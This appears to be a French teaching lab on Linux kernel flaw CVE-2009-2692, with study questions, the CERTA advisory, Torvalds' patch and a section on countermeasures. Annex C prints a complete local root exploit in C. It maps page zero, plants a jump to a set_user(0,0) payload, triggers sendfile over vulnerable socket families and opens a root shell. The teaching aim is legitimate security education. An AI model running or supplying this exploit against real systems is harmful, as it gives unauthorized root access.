TP Système: étude d'une faille noyau

Olivier Levillain

Lundi 7 Mars 2011

Table des matières

1 Quelques éléments de base

1.1 Autour de `mmap`

Question n°1
À quoi sert l'appel système `mmap` ?

Question n°2
L'appel système `mmap`, tout comme `mprotect`, prend un argument entier `prot`. Quelles valeurs peut prendre cet argument ? Donnez un exemple d'application pour deux valeurs possibles.

Question n°3
Que se passe-t-il en cas d'accès à une page mémoire non conforme à l'argument `prot` ?

Question n°4
Ecrire un petit programme mettant en évidence la violation de l'argument `prot`.

1.2 Rappels sur la segmentation mémoire sous `x86`

2 Présentation de la faille

2.1 Contexte

En août 2009, Tavis Ormandy et Julien Tinnes ont découvert une faille affectant tous les noyaux Linux 2.4 et 2.6 depuis 2001. L'annexe A reproduit l'avis du CERTA correspondant et l'annexe B reproduit le correctif proposé par Linus Torvalds.

Il est intéressant de constater que cette faille de sécurité a permis le *jailbreak* d'Androïd, le système d'exploitation pour téléphone portable de Google.

2.2 La structure `proto_ops`

Lors de l'appel système *socket*, le noyau crée un nouveau descripteur de fichier, et lui associe une structure de type `struct proto_ops`. Cette structure contient des pointeurs vers l'ensemble des fonctions utiles pour la famille de *sockets* considérée. Voici un extrait de la définition de cette structure, que l'on trouve dans `include/linux/net.h` :

```
1  struct proto_ops {
     int family;
3    struct module *owner;

5    int (*release)   (struct socket *sock);
     int (*bind)      (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len);
7    int (*connect)   (struct socket *sock, struct sockaddr *vaddr, int sockaddr_len, int flags);
     int (*socketpair)(struct socket *sock1, struct socket *sock2);
9    int (*accept)    (struct socket *sock, struct socket *newsock, int flags);

11 [...]

13   ssize_t (*sendpage)  (struct socket *sock, struct page *page, int offset, size_t size, int flags);
     ssize_t (*splice_read)(struct socket *sock,  loff_t *ppos, struct pipe_inode_info *pipe,
15                          size_t len, unsigned int flags);
   };
```

On reconnaît des noms de fonction correspondant aux appels système relatifs aux *sockets* (comme `bind`, `connect`, `accept`). D'autres correspondent aux fonctions bas niveau permettant la copie de données lors des accès en lecture/écriture. C'est le cas de `sendpage` que nous allons regarder de plus près dans la suite de ce sujet.

Parmi les familles de *sockets* vulnérables, nous avons choisi d'étudier les *sockets Bluetooth*, dont la structure `proto_ops`, définie dans `net/bluetooth/hci_sock.c`, est la suivante :

```
1  static const struct proto_ops hci_sock_ops = {
2    .family         = PF_BLUETOOTH,
     .owner          = THIS_MODULE,
4    .release        = hci_sock_release,
     .bind           = hci_sock_bind,
6    .getname        = hci_sock_getname,
     .sendmsg        = hci_sock_sendmsg,
8    .recvmsg        = hci_sock_recvmsg,
     .ioctl          = hci_sock_ioctl,
10   .poll           = datagram_poll,
     .listen         = sock_no_listen,
12   .shutdown       = sock_no_shutdown,
     .setsockopt     = hci_sock_setsockopt,
14   .getsockopt     = hci_sock_getsockopt,
     .connect        = sock_no_connect,
16   .socketpair     = sock_no_socketpair,
     .accept         = sock_no_accept,
18   .mmap           = sock_no_mmap
   };
```

2.3 Déréférencement d'un pointeur mal défini

Lorsque l'on invoque certains appels système (comme `sendfile`) sur une *socket*, on obtient, à l'issue d'une longue chaîne d'appels de fonctions, l'exécution de la fonction suivante :

```
1  static ssize_t sock_sendpage(struct file *file, struct page *page,
                                int offset, size_t size, loff_t *ppos, int more)
3  {
     struct socket *sock;
5    int flags;

7    sock = file->private_data;

9    flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
     if (more)
11   flags |= MSG_MORE;

13   return sock->ops->sendpage(sock, page, offset, size, flags);
   }
```

où `sock->ops` (l.13) pointe vers la structure `proto_ops` associée à la famille de *sockets* considérée.

Question n°5

D'après ce qui a été dit plus haut, que se passe-t-il dans cette fonction lorsqu'elle est appelée avec une *socket* de type *Bluetooth* ?

Le problème identifié ici avec les *sockets Bluetooth* concerne également d'autres familles de *sockets* comme *AppleTalk* ou X25.

3 Étude du code d'exploitation

Le code de l'annexe C est un exemple de programme exploitant la vulnérabilité décrite précédemment. Nous allons l'étudier en plusieurs étapes. Les lignes auxquelles il est fait référence sont celles du fichier `exploit.c` de l'annexe C.

3.1 Lignes 37 à 63 et 79 : `get_kernel_sym`

Le fichier virtuel `/proc/kallsyms` recense l'ensemble des symboles du noyau sous la forme suivante :

```
[...]
c0129b3b T sys_setgid
c0129c0a T sys_setregid
c0129d2e T sys_setfsuid
c0129dcf t set_user
c0129e62 T sys_setresuid
c0129fe4 T sys_setuid
c012a0d4 T sys_setreuid
[...]
```

où chaque ligne représente l'adresse du symbole, la section où il se situe [1], et le nom du symbole.

Question n°6
Que fait l'appel à la fonction `get_kernel_sym` à la ligne 79 du fichier `exploit.c` ?

Question n°7
Pourquoi la fonction `set_user` n'est-elle pas appelée directement, mais uniquement indirectement à travers `own_the_kernel()` ?

3.2 Ligne 82 : utilisation de `mmap`

Question n°8
Décrivez ce que fait l'appel à `mmap`.

Question n°9
En cas de réussite, que contient le pointeur `mem` ?

3.3 Lignes 86 à 89 : préparation du code dans le tampon `mem`

Les instructions des lignes 86 à 89 consistent à écrire les octets suivants au début du tampon `mem` :

```
0:   ff 25 06 00 00 00       jmp    *0x6
6:   34 45 12 08             <adresse de own_the_kernel>
```

Les six premiers octets consistent uniquement à réaliser un saut (`jmp` pour *jump*) vers la fonction dont l'adresse est donnée dans les quatre octets suivants (à l'adresse `6`).

Ainsi, l'effet de l'exécution de ces quelques octets est de lancer la fonction `own_the_kernel`.

1. Le caractère `T` correspond par exemple à la section `.text`, c'est-à-dire à du code ; de plus, la lettre représentant la section est en majuscule lorsque le symbole est exporté.

3.4 Lignes 66 à 71 : `own_the_kernel`

Question n°10
Que cherche-t-on à faire avec la fonction `own_the_kernel()` ? Sous quelles conditions cette fonction peut-elle être exécutée avec succès ?


À titre d'information, la fonction `set_user` est donnée en annexe D.

3.5 Lignes 91 à 129 : déclenchement de la vulnérabilité

Question n°11
D'après ce que nous avons vu dans la partie précédente, qu'est-ce que l'attaquant espère lors de l'appel à `sendfile` ?

Question n°12
Comment l'attaquant vérifie-t-il que l'attaque a réussi ?

Question n°13
À quoi sert la boucle `for` et le label `repeat_it` ?

3.6 Questions complémentaires

Question n°14
Dans les lignes 93 à 97, l'appel à `mkstemp` est suivi d'un appel à `unlink`. Quel est l'intérêt de ce dernier appel ? Quand le fichier sera-t-il supprimé ?

Question n°15
Quel est l'utilité de `ftruncate` ? Peut-on s'en passer ?

Question n°16
A quoi sert l'appel à `setresuid(0)` ligne 128 ?

4 Test du code d'exploitation

5 Contre-mesures

Nous allons évoquer ici quelques contre-mesures possibles pour corriger ou contourner la vulnérabilité étudiée dans les parties précédentes.

5.1 Recompilation minimaliste du noyau

Un administrateur consciencieux a recompilé son noyau sans inclure le support des *sockets* vulnérables à l'attaque présentée.

Question n°17
Expliquez où et comment le code `exploit.c` échoue.

5.2 Empêcher la compilation ou l'exécution de programmes aux utilisateurs

Pour mettre en œuvre l'attaque décrite, il est nécessaire d'avoir un accès local à la machine, de pouvoir compiler le code `exploit.c` et de l'exécuter.

Question n°18
Que pensez-vous de la contre-mesure consistant à retirer le compilateur C de la station à protéger ?

Question n°19
Comment interdiriez-vous l'exécution de programmes compilés ou importés par un utilisateur ?

Question n°20
Que pensez-vous de l'efficacité de cette dernière contre-mesure ?

5.3 Retirer les symboles du noyau `/proc/kallsyms`

Afin d'empêcher l'attaquant d'exécuter son programme `exploit.c`, un administrateur propose de supprimer l'accès à la liste des symboles du noyau. Il interdit ainsi l'export de `kallsyms` (ou équivalent) dans le système de fichiers virtuel `/proc`, et il supprime le fichier `System.map` présent dans `boot`.

Question n°21
Expliquez pourquoi cette mesure a en général une efficacité très limitée.

Question n°22
Quelle autre mesure préconiseriez-vous pour renforcer la suppression de la liste des symboles noyau ?

5.4 `vm.mmap_min_addr`

Depuis la version 2.6.23, le noyau dispose d'un `sysctl` intitulé `vm.mmap_min_addr` qui permet d'interdire l'utilisation de `mmap` pour projeter une page à une adresse trop basse.

La valeur par défaut est `vm.mmap_min_addr = 32768`, qui interdit de projeter des pages dont l'adresse est inférieure à 32768.

Question n°23
Expliquez où et comment le code `exploit.c` échoue.

5.5 Correctif proposé

Le correctif proposé par Linus Torvalds et intégré depuis au noyau Linux est décrit à l'annexe B. On trouve également dans cette annexe quelques morceaux choisis du code source du noyau permettant de comprendre la correction effectuée.

Question n°24
Expliquez comment le correctif fonctionne.

Question n°25
Permet-il de répondre correctement à la question ?

5.6 Protections supplémentaires apportées par PaX

Le mécanisme `KERNEXEC` intégré dans le patch PaX de durcissement du noyau Linux a pour effet de « raccourcir » le segment de code noyau (`KERNEL_CS`), de manière à ce qu'il ne couvre que la plage d'adresses correspondant à la section `.text` du noyau (en adresses logiques ou linéaires - le segment n'introduit pas de décalage entre ces deux types d'adresses, tout comme dans un noyau standard).

Question n°26

Expliquez l'impact d'une telle modification sur l'exploitation de la vulnérabilité.

Question n°27

Pourquoi KERNEXEC n'est il proposé que lors de la compilation d'un noyau pour une architecture de processeur x86 32 bits ?

5.7 Recommandations

Question n°28

Parmi les contre-mesures proposées, quelles seraient celles que vous recommanderiez pour contrer une telle vulnérabilité, par ordre de priorité ? Indiquez à chaque fois s'il s'agit d'une contre-mesure générique ou spécifique à la vulnérabilité présentée ?

A Avis du CERTA 2009-AVI-337 du 21 août 2009

Objet : Vulnérabilité du noyau Linux

Risque

Élévation de privilèges.

Systèmes affectés

- Les noyaux Linux 2.4.37.4 et antérieurs ;
- les noyaux 2.6.30.4 et antérieurs.

Résumé

Une vulnérabilité affectant les noyaux Linux et permettant une élévation de privilèges a été corrigée.

Description

Une vulnérabilité récente affectant les noyaux Linux a été rendue publique. Elle concerne un déréférencement de pointeur NULL à la création de sockets pour quelques protocoles et permet l'élévation de privilèges.

Solution

Le correctif actuel se trouve dans le Git de kernel.org mais devrait être rapidement intégré dans les différentes distributions. (cf. section Documentation).

Documentation

- Soumission du 13 août 2009 dans le Git de kernel.org :
  `http://git.kernel.org/[...]`
- Article de l'ISC SANS 6964 du 14 août 2009 :
  `http://isc.sans.org/diary.html?storyid=6964`
- Bulletins d'annonce d'erreur RedHat 516949 du 14 août 2009 :
  `https://bugzilla.redhat.com/show_bug.cgi?id=516949`
  `https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2009-2692`
- Bulletins de sécurité Debian DSA-1862 du 14 août 2009 et DSA-1864 du 16 août 2009 :
  `http://www.us.debian.org/security/2009/dsa-1862`
  `http://www.us.debian.org/security/2009/dsa-1864`
- Bulletins de sécurité Fedora 10 et 11 du 15 août 2009 :
  `https://www.redhat.com/archives/fedora-package-announce/2009-August/msg00727.html`
  `https://www.redhat.com/archives/fedora-package-announce/2009-August/msg00728.html`
- Bulletin de sécurité Mandriva MDVSA-2009 :205 du 17 août 2009 :
  `http://www.mandriva.com/en/security/advisories?name=MDVSA-2009:205`
- Bulletin de sécurité Suse SUSE-SA :2009 :045 du 20 août 2009 :
  `http://lists.opensuse.org/opensuse-security-announce/2009-08/msg00007.html`
- Bulletin de sécurité Ubuntu USN-819-1 du 19 août 2009 :
  `http://www.ubuntu.com/usn/usn-819-1`
- Référence CVE CVE-2009-2692 :
  `http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2692`

B Correctif apporté au noyau Linux

Make sock_sendpage() use kernel_sendpage()

author Linus Torvalds <torvalds@linux-foundation.org>
Thu, 13 Aug 2009 15 :28 :36 +0000 (08 :28 -0700)
committer Linus Torvalds <torvalds@linux-foundation.org>
Thu, 13 Aug 2009 17 :57 :26 +0000 (10 :57 -0700)

Description

kernel_sendpage() does the proper default case handling for when the socket doesn't have a native sendpage implementation.
Now, arguably this might be something that we could instead solve by just specifying that all protocols should do it themselves at the protocol level, but we really only care about the common protocols. Does anybody really care about sendpage on something like Appletalk ? Not likely.
Acked-by : David S. Miller <davem@davemloft.net> Acked-by : Julien TINNES <julien@cr0.org> Acked-by : Tavis Ormandy <taviso@sdf.lonestar.org> Cc : stable@kernel.org Signed-off-by : Linus Torvalds <torvalds@linux-foundation.org>

Affected file(s)

- `net/socket.c`

Diff file

```
--- a/net/socket.c
+++ b/net/socket.c
@@ -736,7 +736,7 @@ static ssize_t sock_sendpage(struct file *file, struct page *page,
        if (more)
                flags |= MSG_MORE;

-       return sock->ops->sendpage(sock, page, offset, size, flags);
+       return kernel_sendpage(sock, page, offset, size, flags);
 }

 static ssize_t sock_splice_read(struct file *file, loff_t *ppos,
```

Rapide explication de texte

Les éléments fournis ci-dessus indiquent que le correctif proposé par Linus Torvalds affecte uniquement une ligne dans le fichier `net/socket.c` du noyau. Au lieu d'appeler directement `sock->ops->sendpage`, la fonction `sock_sendpage` appelle la fonction `kernel_sendpage`.

Le nouveau code de la fonction `sock_sendpage` est donc

```
static ssize_t sock_sendpage(struct file *file, struct page *page,
                             int offset, size_t size, loff_t *ppos, int more)
{
  struct socket *sock;
  int flags;

  sock = file->private_data;

  flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
  if (more)
```

```
  flags |= MSG_MORE;

  return kernel_sendpage(sock, page, offset, size, flags);
}
```

et le code de la fonction `kernel_sendpage` est le suivant :

```
int kernel_sendpage(struct socket *sock, struct page *page, int offset,
                    size_t size, int flags)
{
  if (sock->ops->sendpage)
  return sock->ops->sendpage(sock, page, offset, size, flags);

  return sock_no_sendpage(sock, page, offset, size, flags);
}
```

La fonction `sock_no_sendpage` est une implémentation par défaut répondant au besoin lorsqu'aucune fonction spécifique (et généralement plus efficace) n'est disponible.

C Code d'exploitation

```
/* Inspire de exploit.c de wunderbar_emporium.zip */

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define DOMAINS_STOP -1

const int domains[][3] = {
  { PF_APPLETALK, SOCK_DGRAM, 0 },
  { PF_IPX, SOCK_DGRAM, 0 },
  { PF_IRDA, SOCK_DGRAM, 0 },
  { PF_X25, SOCK_DGRAM, 0 },
  { PF_AX25, SOCK_DGRAM, 0 },
  { PF_BLUETOOTH, SOCK_DGRAM, 0 },
  { PF_PPPOX, SOCK_DGRAM, 0 },
  { DOMAINS_STOP, 0, 0 }
};

int got_ring0 = 0;

typedef int __attribute__((regparm(3))) (* _set_user)(uid_t new_ruid, int dumpclear);
_set_user set_user;


static void fatal (char* msg) {
    fprintf(stderr, "%s\n", msg);
    exit (1);
}


static unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret;

  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) return 0;

  ret = 0;
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
```

```
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fclose(f);
      return addr;
    }
  }

  fclose(f);
  return 0;
}


static int __attribute__((regparm(3))) own_the_kernel(unsigned long a, unsigned long b,
    unsigned long c, unsigned long d, unsigned long e)
{
  got_ring0 = 1;
  set_user (0, 0);
  return -1;
}


void main ()
{
  char *mem = NULL;
  int d;

  set_user = (_set_user)get_kernel_sym("set_user");
  if (set_user == NULL) fatal ("UNABLE TO RESOLVE \"set_user\" SYMBOL");

  mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS |
      MAP_PRIVATE, 0, 0);
  if (mem != NULL) fatal ("UNABLE TO MAP ZERO PAGE!");
  fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");

  mem[0] = '\xff';
  mem[1] = '\x25';
  *(unsigned int *)&mem[2] = 6;
  *(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel;

  /* trigger it */
  {
    char template[] = "/tmp/sendfile.XXXXXX";
    int in, out;

    if ((in = mkstemp(template)) < 0) fatal ("failed to open input descriptor");
    unlink(template);

    // Find a vulnerable domain
    d = 0;
  repeat_it:
    for (; domains[d][0] != DOMAINS_STOP; d++) {
```

```
      if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0) {
    printf ("+");
    break;
      }
      printf ("-");
    }

    if (out < 0) fatal ("unable to find a vulnerable domain, sorry");

    // Truncate input file to some large value
    ftruncate(in, getpagesize());

    // sendfile() to trigger the bug.
    sendfile(out, in, NULL, getpagesize());
  }

  if (got_ring0) {
    fprintf(stdout, " [+] got ring0!\n");
  } else {
    d++;
    goto repeat_it;
  }

  if (getuid() == 0)
    fprintf(stdout, " [+] Got root!\n");
  else
    fatal (" [+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable
        ?");

  setresuid (0);
  execl("/bin/sh", "/bin/sh", "-i", NULL);
}
```

Certaines fonctions sont affublées de l'attribut `__attribute__((regparm(3)))`. Il s'agit d'un attribut utilisé par les fonctions compilées dans le noyau. Il est nécessaire de l'appliquer pour que les conventions d'appels à l'intérieur du noyau soient respectées lors de l'exploitation de la faille.
Ces attributs peuvent être ignorés sans remettre en cause la compréhension du programme.

Quelques informations sur les fonctions utilisées.
La fonction `fscanf` est le pendant de `fprintf` pour la lecture d'une entrée selon un format donné. Ainsi, `fscanf("%d %c")` correspond à la lecture d'un entier, puis d'un caractère.
`strcmp` compare les deux chaînes de caractères données en paramètres jusqu'à ce qu'il rencontre un caractère nul ou une différence. Si le résultat est nul, c'est que les deux chaînes sont identiques.

D Fonction `set_user` du noyau

```
static int set_user(uid_t new_ruid, int dumpclear)
{
  struct user_struct *new_user;

  new_user = alloc_uid(current->nsproxy->user_ns, new_ruid);
  if (!new_user)
    return -EAGAIN;

  if (atomic_read(&new_user->processes) >=
      current->signal->rlim[RLIMIT_NPROC].rlim_cur &&
      new_user != current->nsproxy->user_ns->root_user) {
    free_uid(new_user);
    return -EAGAIN;
  }

  switch_uid(new_user);

  if (dumpclear) {
    set_dumpable(current->mm, suid_dumpable);
    smp_wmb();
  }
  current->uid = new_ruid;
  return 0;
}
```

Cette fonction interne du noyau a pour l'objectif d'attribuer au processus courant un nouvel `uid`. Avant d'effectuer la modification, `set_user` vérifie que l'utilisateur associé au nouvel `uid` n'a pas encore dépassé la limite `RLIMIT_NPROC` de processus qu'il peut lancer. Si la vérification réussit, l'instruction finale `current->uid = new_ruid` a pour effet de modifier le champ `uid` dans le contexte noyau du processus courant.

Il est important de noter que cette fonction ne vérifie pas que le changement d'identifiant est autorisé. C'est le rôle des appels système tels que `setuid`, qui utilisent cette fonction auxiliaire. C'est pour cette raison qu'utiliser `set_user` directement est utile pour l'attaquant.